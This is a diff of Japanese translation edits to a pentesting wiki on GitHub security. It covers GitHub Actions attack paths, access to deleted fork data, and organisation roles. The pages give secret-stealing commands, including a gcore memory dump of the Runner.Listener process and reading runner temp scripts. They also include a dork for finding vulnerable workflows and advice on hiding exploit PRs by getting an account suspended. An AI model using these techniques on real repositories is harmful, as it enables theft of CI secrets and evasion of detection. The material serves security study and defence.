## 許可された実行 > [!NOTE] -> これはGithubアクションを危険にさらす最も簡単な方法です。このケースでは、**組織内に新しいリポジトリを作成するアクセス権**があるか、**リポジトリに対する書き込み権限**があることを前提としています。 +> これはGithubアクションを危険にさらす最も簡単な方法であり、このケースは**組織内に新しいリポジトリを作成するアクセス権**を持っているか、**リポジトリに対する書き込み権限**を持っていることを前提としています。 > -> このシナリオにいる場合は、[ポストエクスプロイテーション技術](./#post-exploitation-techniques-from-inside-an-action)を確認するだけです。 +> このシナリオにいる場合は、[Post Exploitation techniques](./#post-exploitation-techniques-from-inside-an-action)を確認するだけです。 ### リポジトリ作成からの実行 -組織のメンバーが**新しいリポジトリを作成でき**、あなたがGithubアクションを実行できる場合、**新しいリポジトリを作成し、組織レベルで設定されたシークレットを盗む**ことができます。 +組織のメンバーが**新しいリポジトリを作成でき**、Githubアクションを実行できる場合、**新しいリポジトリを作成し、組織レベルで設定されたシークレットを盗む**ことができます。 ### 新しいブランチからの実行 -既にGithubアクションが設定されているリポジトリで**新しいブランチを作成できる**場合、**それを修正し、**コンテンツを**アップロードし、**その新しいブランチからそのアクションを**実行する**ことができます。この方法で、**リポジトリおよび組織レベルのシークレットを外部に持ち出す**ことができます(ただし、それらがどのように呼ばれているかを知っている必要があります)。 +既にGithubアクションが設定されているリポジトリで**新しいブランチを作成できる**場合、**それを修正し、**コンテンツを**アップロード**し、その後**新しいブランチからそのアクションを実行**することができます。この方法で、**リポジトリおよび組織レベルのシークレットを抽出**することができます(ただし、それらがどのように呼ばれているかを知っている必要があります)。 修正されたアクションを**手動で**実行可能にすることができます。**PRが作成されたとき**や**コードがプッシュされたとき**(どれだけ目立ちたいかによります): ```yaml @@ -185,31 +185,31 @@ branches: さらに、デフォルトでは**書き込み権限**と**シークレットアクセス**をターゲットリポジトリに対して防ぎます。これは[**ドキュメント**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories)に記載されています: -> `GITHUB_TOKEN`を除いて、**シークレットはランナーに渡されません**。ワークフローが**フォークされた**リポジトリからトリガーされた場合、**`GITHUB_TOKEN`はプルリクエストから**読み取り専用の権限を持っています**。 +> `GITHUB_TOKEN`を除いて、**シークレットはランナーに渡されません**。ワークフローが**フォークされた**リポジトリからトリガーされるとき。**`GITHUB_TOKEN`はフォークされたリポジトリからのプルリクエストに対して**読み取り専用権限**を持っています。 攻撃者はGithub Actionの定義を変更して任意のことを実行し、任意のアクションを追加することができます。しかし、前述の制限のためにシークレットを盗んだり、リポジトリを上書きしたりすることはできません。 > [!CAUTION] -> **はい、攻撃者がPRでトリガーされるgithub actionを変更した場合、彼のGithub Actionが使用され、元のリポジトリのものは使用されません!** +> **はい、攻撃者がPRでトリガーされるgithub actionを変更した場合、彼のGithub Actionが使用され、元のリポジトリのものではありません!** -攻撃者が実行されるコードを制御しているため、`GITHUB_TOKEN`にシークレットや書き込み権限がなくても、攻撃者は例えば**悪意のあるアーティファクトをアップロードする**ことができます。 +攻撃者は実行されるコードも制御しているため、`GITHUB_TOKEN`にシークレットや書き込み権限がなくても、例えば**悪意のあるアーティファクトをアップロードする**ことができます。 ### **`pull_request_target`** -ワークフロートリガー**`pull_request_target`**は、ターゲットリポジトリに**書き込み権限**と**シークレットへのアクセス**を持っています(許可を求めません)。 +ワークフロートリガー**`pull_request_target`**は、ターゲットリポジトリに対して**書き込み権限**と**シークレットへのアクセス**を持っています(許可を求めません)。 -ワークフロートリガー**`pull_request_target`**は**PRによって与えられたコンテキストではなく、ベースコンテキストで実行される**ことに注意してください(**信頼できないコードを実行しないため**)。`pull_request_target`についての詳細は[**ドキュメントを確認してください**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target)。\ -さらに、この特定の危険な使用についての詳細は、[**githubのブログ投稿を確認してください**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/)。 +ワークフロートリガー**`pull_request_target`**は**ベースコンテキスト**で実行され、PRによって与えられたものではありません(**信頼できないコードを実行しないため**)。`pull_request_target`に関する詳細は[**ドキュメントを確認してください**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target)。\ +さらに、この特定の危険な使用に関する詳細は、[**githubのブログ投稿を確認してください**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/)。 -**実行されるワークフロー**が**ベース**で定義されたものであり、**PR**ではないため、**`pull_request_target`を使用することは**安全**に見えるかもしれませんが、**安全でない場合がいくつかあります**。 +**実行されるワークフロー**が**ベース**で定義されたものであり、**PR**ではないため、**`pull_request_target`**を使用することは**安全**に見えるかもしれませんが、**安全でない場合がいくつかあります**。 -そして、これには**シークレットへのアクセス**があります。 +このトリガーは**シークレットへのアクセス**を持ちます。 ### `workflow_run` [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run)トリガーは、別のワークフローが`completed`、`requested`、または`in_progress`のときにワークフローを実行することを許可します。 -この例では、別の「テストを実行」ワークフローが完了した後に実行されるようにワークフローが構成されています: +この例では、ワークフローは別の「テストを実行」ワークフローが完了した後に実行されるように構成されています: ```yaml on: workflow_run: @@ -217,29 +217,29 @@ workflows: [Run Tests] types: - completed ``` -Moreover, according to the docs: The workflow started by the `workflow_run` event is able to **access secrets and write tokens, even if the previous workflow was not**. +さらに、ドキュメントによると:`workflow_run`イベントによって開始されたワークフローは、前のワークフローがそうでなかった場合でも、**シークレットにアクセスし、トークンを書き込むことができます**。 -この種のワークフローは、**`pull_request`** または **`pull_request_target`** を介して外部ユーザーによって **トリガーされる** **ワークフロー** に **依存している** 場合、攻撃される可能性があります。いくつかの脆弱な例は [**このブログ**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**で見つけることができます。** 最初の例は、**`workflow_run`** トリガーされたワークフローが攻撃者のコードをダウンロードすることです: `${{ github.event.pull_request.head.sha }}`\ -2つ目の例は、**信頼できない** コードから **`workflow_run`** ワークフローに **アーティファクト** を **渡す** ことと、このアーティファクトの内容を **RCEに対して脆弱** な方法で使用することです。 +この種のワークフローは、**`pull_request`**または**`pull_request_target`**を介して外部ユーザーによって**トリガーされる**ワークフローに**依存している**場合、攻撃される可能性があります。脆弱な例はいくつか[**このブログで見つけることができます**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**。** 最初の例は、**`workflow_run`**トリガーされたワークフローが攻撃者のコードをダウンロードすることです:`${{ github.event.pull_request.head.sha }}`\ +2つ目の例は、**信頼できない**コードから**`workflow_run`**ワークフローに**アーティファクト**を**渡す**ことと、このアーティファクトの内容を**RCEに対して脆弱**な方法で使用することです。 ### `workflow_call` TODO -TODO: `pull_request` から実行された場合、使用/ダウンロードされたコードが元のものであるかフォークされたPRのものであるかを確認する +TODO: `pull_request`から実行されたときに使用/ダウンロードされたコードが元のものであるかフォークされたPRのものであるかを確認する ## フォークされた実行の悪用 -外部の攻撃者がGitHubワークフローを実行させる方法についてすべて言及しましたが、次に、これらの実行が不適切に構成されている場合、どのように悪用される可能性があるかを見てみましょう。 +外部の攻撃者がGitHubワークフローを実行させる方法についてすべて言及しましたが、次に、これらの実行が不適切に構成されている場合にどのように悪用される可能性があるかを見てみましょう: ### 信頼できないチェックアウト実行 -**`pull_request`** の場合、ワークフローは **PRのコンテキスト** で実行されるため(**悪意のあるPRのコード** を実行します)、誰かが **最初に承認する必要があります** そして、いくつかの [制限](./#pull_request) で実行されます。 +**`pull_request`**の場合、ワークフローは**PRのコンテキスト**で実行されるため(**悪意のあるPRのコード**が実行されます)、誰かが**最初に承認する必要があります**。そして、いくつかの[制限](./#pull_request)のもとで実行されます。 -**`pull_request_target` または `workflow_run`** を使用するワークフローが **`pull_request_target` または `pull_request`** からトリガーされるワークフローに依存している場合、元のリポジトリのコードが実行されるため、**攻撃者は実行されるコードを制御できません**。 +**`pull_request_target`または`workflow_run`**を使用するワークフローが**`pull_request_target`または`pull_request`**からトリガーされるワークフローに依存している場合、元のリポジトリのコードが実行されるため、**攻撃者は実行されるコードを制御できません**。 > [!CAUTION] -> ただし、**アクション** に **明示的なPRチェックアウト** があり、**PRからコードを取得する**(ベースからではなく)場合、攻撃者が制御するコードが使用されます。例えば(PRコードがダウンロードされる行12を確認): +> ただし、**アクション**に**明示的なPRチェックアウト**があり、**PRからコードを取得する**(ベースからではなく)場合、攻撃者が制御するコードが使用されます。例えば(PRコードがダウンロードされる12行目を確認):
# INSECURE. Provided as an example only.
 on:
@@ -269,26 +269,26 @@ message: |
 Thank you!
 
-潜在的に **信頼できないコードは `npm install` または `npm build` の間に実行されます**。ビルドスクリプトと参照された **パッケージはPRの著者によって制御されています**。 +潜在的に**信頼できないコードは`npm install`または`npm build`の間に実行されます**。ビルドスクリプトと参照された**パッケージはPRの作者によって制御されています**。 > [!WARNING] -> 脆弱なアクションを検索するためのGitHubドークは: `event.pull_request pull_request_target extension:yml` ですが、アクションが不適切に構成されていても、実行されるジョブを安全に構成する方法はいくつかあります(PRを生成するアクターが誰であるかに関する条件を使用するなど)。 +> 脆弱なアクションを検索するためのGitHubドークは:`event.pull_request pull_request_target extension:yml`ですが、アクションが不適切に構成されていても、ジョブを安全に実行するためのさまざまな方法があります(PRを生成するアクターについての条件を使用するなど)。 ### コンテキストスクリプトインジェクション -特定の [**GitHubコンテキスト**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) の値は、PRを作成する **ユーザー** によって **制御されている** ことに注意してください。GitHubアクションがその **データを使用して何かを実行する** 場合、**任意のコード実行** に繋がる可能性があります: +特定の[**GitHubコンテキスト**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context)の値は、PRを作成する**ユーザー**によって**制御されている**ことに注意してください。GitHubアクションがその**データを使用して何かを実行する**場合、**任意のコード実行**につながる可能性があります: {{#ref}} gh-actions-context-script-injections.md {{#endref}} -### **GITHUB_ENV スクリプトインジェクション** +### **GITHUB_ENVスクリプトインジェクション** -ドキュメントによると: 環境変数を定義または更新し、これを **`GITHUB_ENV`** 環境ファイルに書き込むことで、ワークフロージョブの後続のステップで **環境変数を利用可能にする** ことができます。 +ドキュメントによると:環境変数を定義または更新し、これを**`GITHUB_ENV`**環境ファイルに書き込むことで、ワークフロージョブの後続のステップで**環境変数を利用可能にする**ことができます。 -攻撃者がこの **env** 変数内に **任意の値を注入** できる場合、**LD_PRELOAD** や **NODE_OPTIONS** のようなコードを実行する環境変数を注入することができます。 +攻撃者がこの**env**変数内に**任意の値を注入**できる場合、**LD_PRELOAD**や**NODE_OPTIONS**などのコードを実行する環境変数を注入することができます。 -例えば ([**これ**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) と [**これ**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project))、アップロードされたアーティファクトを信頼してその内容を **`GITHUB_ENV`** 環境変数に保存するワークフローを想像してください。攻撃者はこれを妥協するために次のようなものをアップロードできます: +例えば、([**これ**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0)と[**これ**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project))、アップロードされたアーティファクトを信頼してその内容を**`GITHUB_ENV`**環境変数に格納するワークフローを想像してください。攻撃者は、これを妥協するために次のようなものをアップロードすることができます:
@@ -296,11 +296,11 @@ gh-actions-context-script-injections.md #### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact) -[**このブログ投稿**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks) で述べたように、このGitHubアクションは異なるワークフローやリポジトリからアーティファクトにアクセスすることを可能にします。 +[**このブログ投稿**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks)で述べたように、このGitHubアクションは、異なるワークフローやリポジトリからアーティファクトにアクセスすることを可能にします。 -問題は、**`path`** パラメータが設定されていない場合、アーティファクトが現在のディレクトリに抽出され、後で使用または実行される可能性のあるファイルを上書きできることです。したがって、アーティファクトが脆弱な場合、攻撃者はこれを悪用してアーティファクトを信頼する他のワークフローを妥協させることができます。 +問題は、**`path`**パラメータが設定されていない場合、アーティファクトが現在のディレクトリに抽出され、後で使用または実行される可能性のあるファイルを上書きできることです。したがって、アーティファクトが脆弱な場合、攻撃者はこれを悪用してアーティファクトを信頼する他のワークフローを妥協させることができます。 -脆弱なワークフローの例: +脆弱なワークフローの例: ```yaml on: workflow_run: @@ -323,7 +323,7 @@ with: name: artifact path: ./script.py ``` -このワークフローを使って攻撃することができます: +このワークフローで攻撃される可能性があります: ```yaml name: "some workflow" on: pull_request @@ -341,64 +341,6 @@ path: ./script.py --- ## その他の外部アクセス - -### 削除された名前空間のリポジトリハイジャック - -アカウントが名前を変更すると、他のユーザーがその名前でアカウントを登録できるようになります。リポジトリが名前変更前に**100スター未満**だった場合、Githubは同じ名前の新しい登録ユーザーに**削除されたリポジトリと同じ名前のリポジトリを作成する**ことを許可します。 - -> [!CAUTION] -> したがって、アクションが存在しないアカウントのリポジトリを使用している場合、攻撃者がそのアカウントを作成し、アクションを妨害する可能性があります。 - -他のリポジトリが**このユーザーのリポジトリからの依存関係を使用している**場合、攻撃者はそれらをハイジャックできるようになります。こちらにより詳細な説明があります: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/) - ---- - -## リポジトリピボティング - -> [!NOTE] -> このセクションでは、最初のリポジトリに何らかのアクセス権があると仮定して、**1つのリポジトリから別のリポジトリにピボットする**技術について説明します(前のセクションを確認してください)。 - -### キャッシュポイズニング - -キャッシュは**同じブランチ内のワークフロー実行間で維持されます**。つまり、攻撃者が**パッケージを妨害**し、それがキャッシュに保存され、**より特権のある**ワークフローによって**ダウンロード**および実行されると、そのワークフローも**妨害**される可能性があります。 - -{{#ref}} -gh-actions-cache-poisoning.md -{{#endref}} - -### アーティファクトポイズニング - -ワークフローは**他のワークフローやリポジトリからのアーティファクトを使用する**ことができます。攻撃者が**アーティファクトをアップロードするGithub Actionを妨害**することに成功すれば、他のワークフローを**妨害**することができます: - -{{#ref}} -gh-actions-artifact-poisoning.md -{{#endref}} - ---- - -## アクションからのポストエクスプロイテーション - -### OIDCを介したAWSおよびGCPへのアクセス - -以下のページを確認してください: - -{{#ref}} -../../../pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md -{{#endref}} - -{{#ref}} -../../../pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md -{{#endref}} - -### 秘密へのアクセス - -スクリプトにコンテンツを注入している場合、秘密にアクセスする方法を知っておくと興味深いです: - -- 秘密またはトークンが**環境変数**に設定されている場合、**`printenv`**を使用して環境を介して直接アクセスできます。 - -
- -Github Action出力の秘密をリストする ```yaml name: list_env on: @@ -448,7 +390,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```
-- シークレットが**式に直接使用される**場合、生成されたシェルスクリプトは**ディスク上**に保存され、アクセス可能です。 +- シークレットが**式内で直接使用される**場合、生成されたシェルスクリプトは**ディスク上**に保存され、アクセス可能です。 - ```bash cat /home/runner/work/_temp/* ``` @@ -464,23 +406,23 @@ with: key: ${{ secrets.PUBLISH_KEY }} ``` -### セルフホステッドランナーの悪用 +### セルフホストランナーの悪用 -**Github Actionsが非Githubインフラストラクチャで実行されている**かを見つける方法は、Github Action構成yaml内で**`runs-on: self-hosted`**を検索することです。 +**Github Actionsが非Githubインフラストラクチャで実行されている**かを見つける方法は、Github Actionの設定yaml内で**`runs-on: self-hosted`**を検索することです。 -**セルフホステッド**ランナーは、**追加の機密情報**や他の**ネットワークシステム**(ネットワーク内の脆弱なエンドポイント?メタデータサービス?)にアクセスできる可能性があります。また、隔離されて破棄されていても、**同時に複数のアクションが実行される可能性**があり、悪意のあるアクションが他のアクションの**シークレットを盗む**ことができます。 +**セルフホスト**ランナーは、**追加の機密情報**や他の**ネットワークシステム**(ネットワーク内の脆弱なエンドポイント?メタデータサービス?)にアクセスできる可能性があります。また、隔離されて破壊されていても、**同時に複数のアクションが実行される可能性**があり、悪意のあるアクションが他のアクションの**シークレットを盗む**ことができます。 -セルフホステッドランナーでは、**\_Runner.Listener**\_\*\*プロセスから**シークレットを取得する**ことも可能で、これは任意のステップでワークフローのすべてのシークレットをメモリをダンプすることで含むことができます: +セルフホストランナーでは、**\_Runner.Listener**\_\*\*プロセスから**シークレットを取得する**ことも可能で、これは任意のステップでワークフローのすべてのシークレットをメモリをダンプすることで含むことができます: ```bash sudo apt-get install -y gdb sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')" ``` -Check [**この投稿で詳細情報を確認してください**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/). +[**この投稿で詳細情報を確認してください**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/)。 ### Github Docker Images Registry Github内に**Dockerイメージをビルドして保存する**Githubアクションを作成することが可能です。\ -以下の展開可能な例を参照してください: +以下の展開可能な例を参照してください:
@@ -515,14 +457,14 @@ ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ e ```
-前のコードで見たように、Githubレジストリは**`ghcr.io`**にホストされています。 +前のコードで示したように、Githubレジストリは**`ghcr.io`**にホストされています。 リポジトリに対する読み取り権限を持つユーザーは、個人アクセストークンを使用してDockerイメージをダウンロードできるようになります: ```bash echo $gh_token | docker login ghcr.io -u --password-stdin docker pull ghcr.io//: ``` -Then, the user could search for **leaked secrets in the Docker image layers:** +その後、ユーザーは**Dockerイメージのレイヤー内の漏洩した秘密**を検索できます: {{#ref}} https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics @@ -530,20 +472,20 @@ https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-m ### Github Actionsログの機密情報 -たとえ**Github**がアクションログ内の**秘密の値**を**検出しようとし**、それらを**表示しないように**しても、アクションの実行中に生成された**他の機密データ**は隠されません。たとえば、秘密の値で署名されたJWTは、[特に設定されない限り](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret)、隠されません。 +**Github**がアクションログ内の**秘密の値**を**検出しようとし**、それらを**表示しないように**しても、アクションの実行中に生成された**他の機密データ**は隠されません。たとえば、秘密の値で署名されたJWTは、[特に設定されていない限り](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret)、隠されません。 ## 足跡を隠す -(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) まず第一に、提出されたPRはGithub上で公開され、ターゲットのGitHubアカウントにも明らかに見えます。デフォルトでは、GitHubでは**インターネット上のPRを削除することはできません**が、ひねりがあります。Githubによって**停止された**GitHubアカウントの場合、すべての**PRは自動的に削除**され、インターネットから取り除かれます。したがって、活動を隠すためには、**GitHubアカウントを停止させるか、アカウントをフラグ付けさせる必要があります**。これにより、インターネット上のGitHubでの**すべての活動が隠されます**(基本的にすべてのエクスプロイトPRが削除されます)。 +([**こちら**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)からの技術)まず第一に、提出されたPRはGithub上で公開され、ターゲットのGitHubアカウントにも明らかに見えます。デフォルトでは、GitHubでは**インターネット上のPRを削除することはできません**が、ひねりがあります。GitHubによって**停止された**GitHubアカウントの場合、すべての**PRは自動的に削除**され、インターネットから取り除かれます。したがって、活動を隠すには、**GitHubアカウントを停止させるか、アカウントにフラグを立てる必要があります**。これにより、GitHub上のすべての活動がインターネットから隠されます(基本的にすべてのエクスプロイトPRが削除されます)。 -GitHubの組織は、アカウントをGitHubに報告することに非常に積極的です。あなたがする必要があるのは、Issueに「いくつかのもの」を共有することで、彼らは12時間以内にあなたのアカウントが停止されることを確実にします :p そして、あなたのエクスプロイトはGitHub上で見えなくなります。 +GitHubの組織は、アカウントをGitHubに報告することに非常に積極的です。必要なのは、Issueに「いくつかのもの」を共有するだけで、彼らは12時間以内にあなたのアカウントが停止されることを確認します :p これで、あなたのエクスプロイトはGitHub上で見えなくなります。 > [!WARNING] > 組織がターゲットにされたことを把握する唯一の方法は、GitHub UIからPRが削除されるため、SIEMからGitHubログを確認することです。 ## ツール -以下のツールは、Github Actionワークフローを見つけたり、脆弱なものを見つけたりするのに役立ちます: +以下のツールは、GitHub Actionワークフローを見つけたり、脆弱なものを見つけたりするのに役立ちます: - [https://github.com/CycodeLabs/raven](https://github.com/CycodeLabs/raven) - [https://github.com/praetorian-inc/gato](https://github.com/praetorian-inc/gato) diff --git a/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md b/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md index 7558ae4d9..c1024908a 100644 --- a/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md +++ b/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md @@ -1,10 +1,10 @@ -# Accessible Deleted Data in Github +# Githubにおけるアクセス可能な削除データ {{#include ../../banners/hacktricks-training.md}} -Githubから削除されたとされるデータにアクセスする方法は[**このブログ記事で報告されています**](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github)。 +Githubから削除されたとされるデータにアクセスする方法は、[**このブログ投稿で報告されています**](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github)。 -## Accessing Deleted Fork Data +## 削除されたフォークデータへのアクセス 1. 公開リポジトリをフォークします。 2. フォークにコードをコミットします。 @@ -13,43 +13,43 @@ Githubから削除されたとされるデータにアクセスする方法は[* > [!CAUTION] > 削除されたフォークにコミットされたデータはまだアクセス可能です。 -## Accessing Deleted Repo Data +## 削除されたリポジトリデータへのアクセス 1. GitHubに公開リポジトリがあります。 2. ユーザーがあなたのリポジトリをフォークします。 -3. 彼らがフォークした後にデータをコミットします(彼らはあなたの更新とフォークを同期しません)。 +3. 彼らがフォークした後にデータをコミットします(彼らは決してフォークをあなたの更新と同期しません)。 4. リポジトリ全体を削除します。 > [!CAUTION] > リポジトリを削除しても、行われたすべての変更はフォークを通じてアクセス可能です。 -## Accessing Private Repo Data +## プライベートリポジトリデータへのアクセス 1. 最終的に公開されるプライベートリポジトリを作成します。 2. そのリポジトリのプライベートな内部バージョンを作成し(フォークを通じて)、公開しない機能のための追加コードをコミットします。 3. “アップストリーム”リポジトリを公開し、フォークをプライベートに保ちます。 > [!CAUTION] -> 内部フォークが作成された時点から公開バージョンが公開されるまでの間にプッシュされたすべてのデータにアクセスすることが可能です。 +> 内部フォークが作成された時点と公開バージョンが公開された時点の間にプッシュされたすべてのデータにアクセスすることが可能です。 -## How to discover commits from deleted/hidden forks +## 削除された/隠されたフォークからコミットを発見する方法 -同じブログ記事は2つのオプションを提案しています: +同じブログ投稿は2つのオプションを提案しています: -### Directly accessing the commit +### コミットに直接アクセスする コミットID(sha-1)値が知られている場合、`https://github.com///commit/`でアクセス可能です。 -### Brute-forcing short SHA-1 values +### 短いSHA-1値をブルートフォースする これらの両方にアクセスするのは同じです: - [https://github.com/HackTricks-wiki/hacktricks/commit/8cf94635c266ca5618a9f4da65ea92c04bee9a14](https://github.com/HackTricks-wiki/hacktricks/commit/8cf94635c266ca5618a9f4da65ea92c04bee9a14) - [https://github.com/HackTricks-wiki/hacktricks/commit/8cf9463](https://github.com/HackTricks-wiki/hacktricks/commit/8cf9463) -そして、最新のものはブルートフォース可能な短いsha-1を使用しています。 +最新のものはブルートフォース可能な短いsha-1を使用しています。 -## References +## 参考文献 - [https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github) diff --git a/src/pentesting-ci-cd/github-security/basic-github-information.md b/src/pentesting-ci-cd/github-security/basic-github-information.md index 4cc12f130..098a30357 100644 --- a/src/pentesting-ci-cd/github-security/basic-github-information.md +++ b/src/pentesting-ci-cd/github-security/basic-github-information.md @@ -4,7 +4,7 @@ ## 基本構造 -大規模な**企業**の基本的なGithub環境構造は、**エンタープライズ**を所有し、そのエンタープライズが**いくつかの組織**を所有し、それぞれの組織が**いくつかのリポジトリ**と**いくつかのチーム**を含むことです。小規模な企業は、**1つの組織とエンタープライズを持たない**場合もあります。 +大規模な**企業**の基本的なGithub環境構造は、**エンタープライズ**を所有し、そのエンタープライズが**いくつかの組織**を所有し、それぞれが**いくつかのリポジトリ**と**いくつかのチーム**を含むことです。小規模な企業は、**1つの組織とエンタープライズを持たない**場合があります。 ユーザーの観点から見ると、**ユーザー**は**異なるエンタープライズや組織のメンバー**であることができます。それらの中で、ユーザーは**異なるエンタープライズ、組織、リポジトリの役割**を持つことがあります。 @@ -25,21 +25,21 @@ - **組織オーナー**: 組織オーナーは、**組織に対する完全な管理アクセス権**を持っています。この役割は制限されるべきですが、組織内で2人以上の人に制限する必要があります。 - **組織メンバー**: **デフォルト**の非管理者役割は**組織メンバー**です。デフォルトでは、組織メンバーは**いくつかの権限を持っています**。 -- **請求管理者**: 請求管理者は、**組織の請求設定を管理できるユーザー**です。たとえば、支払い情報など。 +- **請求管理者**: 請求管理者は、**組織の請求設定を管理できるユーザー**です。たとえば、支払い情報などです。 - **セキュリティマネージャー**: 組織オーナーが組織内の任意のチームに割り当てることができる役割です。適用されると、チームのすべてのメンバーに**組織全体のセキュリティアラートや設定を管理する権限、ならびに組織内のすべてのリポジトリに対する読み取り権限**が与えられます。 -- 組織にセキュリティチームがある場合、セキュリティマネージャーの役割を使用して、チームのメンバーに組織に必要な最小限のアクセスを与えることができます。 -- **Githubアプリ管理者**: 組織が所有する**GitHubアプリを管理するために追加のユーザーを許可する**ために、オーナーはGitHubアプリ管理者の権限を付与できます。 +- 組織にセキュリティチームがある場合、セキュリティマネージャー役割を使用して、チームのメンバーに組織に必要な最小限のアクセスを与えることができます。 +- **Githubアプリ管理者**: 組織が所有する**GitHubアプリを管理する**ために、オーナーはGitHubアプリ管理者権限を付与できます。 - **外部コラボレーター**: 外部コラボレーターは、**1つ以上の組織リポジトリにアクセスできるが、明示的に組織のメンバーではない**人です。 -これらの役割の**権限を比較する**ことができる表があります: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles) +これらの役割の**権限を比較する**ことができます。この表で: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles) ### メンバーの権限 -_https://github.com/organizations/\/settings/member_privileges_ では、**組織の一部であることによってユーザーが持つ権限**を見ることができます。 +_https://github.com/organizations/\/settings/member_privileges_ で、**組織の一部であることによってユーザーが持つ権限**を確認できます。 ここで設定された内容は、組織のメンバーの以下の権限を示します: -- 組織のすべてのリポジトリに対する管理者、ライター、リーダー、または無権限であること。 +- 組織のすべてのリポジトリに対して管理者、ライター、リーダー、または権限なしであること。 - メンバーがプライベート、内部、またはパブリックリポジトリを作成できるかどうか。 - リポジトリのフォークが可能かどうか。 - 外部コラボレーターを招待できるかどうか。 @@ -52,24 +52,24 @@ _https://github.com/organizations/\/settings/member_privileges_ では デフォルトでは、リポジトリの役割が作成されます: - **読み取り**: **コードに貢献しない**人々がプロジェクトを表示または議論するために推奨されます。 -- **トリアージ**: **問題やプルリクエストを積極的に管理する必要がある貢献者**に推奨されますが、書き込みアクセスはありません。 -- **書き込み**: プロジェクトに**積極的にプッシュする**貢献者に推奨されます。 +- **トリアージ**: **書き込みアクセスなしで問題やプルリクエストを積極的に管理する**必要がある貢献者に推奨されます。 +- **書き込み**: **プロジェクトに積極的にプッシュする**貢献者に推奨されます。 - **メンテナンス**: **リポジトリを管理する必要があるプロジェクトマネージャー**に推奨されますが、機密または破壊的なアクションへのアクセスはありません。 - **管理者**: **プロジェクトに完全にアクセスする必要がある**人々に推奨されます。これには、セキュリティの管理やリポジトリの削除などの機密かつ破壊的なアクションが含まれます。 -各役割の**権限を比較する**ことができる表があります: [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role) +各役割の**権限を比較する**ことができます。この表で [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role) また、_https://github.com/organizations/\/settings/roles_ で**独自の役割を作成する**こともできます。 ### チーム -_https://github.com/orgs/\/teams_ で、**組織内に作成されたチームのリストを表示する**ことができます。他のチームの子チームを見るには、各親チームにアクセスする必要があります。 +_https://github.com/orgs/\/teams_ で、**組織内に作成されたチームをリスト**できます。他のチームの子チームを表示するには、各親チームにアクセスする必要があります。 ### ユーザー -組織のユーザーは、_https://github.com/orgs/\/people_ で**リスト表示**できます。 +組織のユーザーは、_https://github.com/orgs/\/people_ で**リスト**できます。 -各ユーザーの情報では、**ユーザーが所属するチーム**や、**ユーザーがアクセスできるリポジトリ**を見ることができます。 +各ユーザーの情報には、**ユーザーがメンバーであるチーム**や、**ユーザーがアクセスできるリポジトリ**が表示されます。 ## Github認証 @@ -77,80 +77,80 @@ Githubは、アカウントに認証し、あなたの代わりにアクショ ### ウェブアクセス -**github.com**にアクセスすると、**ユーザー名とパスワード**(および**2FAの可能性**)を使用してログインできます。 +**github.com**にアクセスすると、**ユーザー名とパスワード**(および**2FA**が必要な場合があります)を使用してログインできます。 ### **SSHキー** 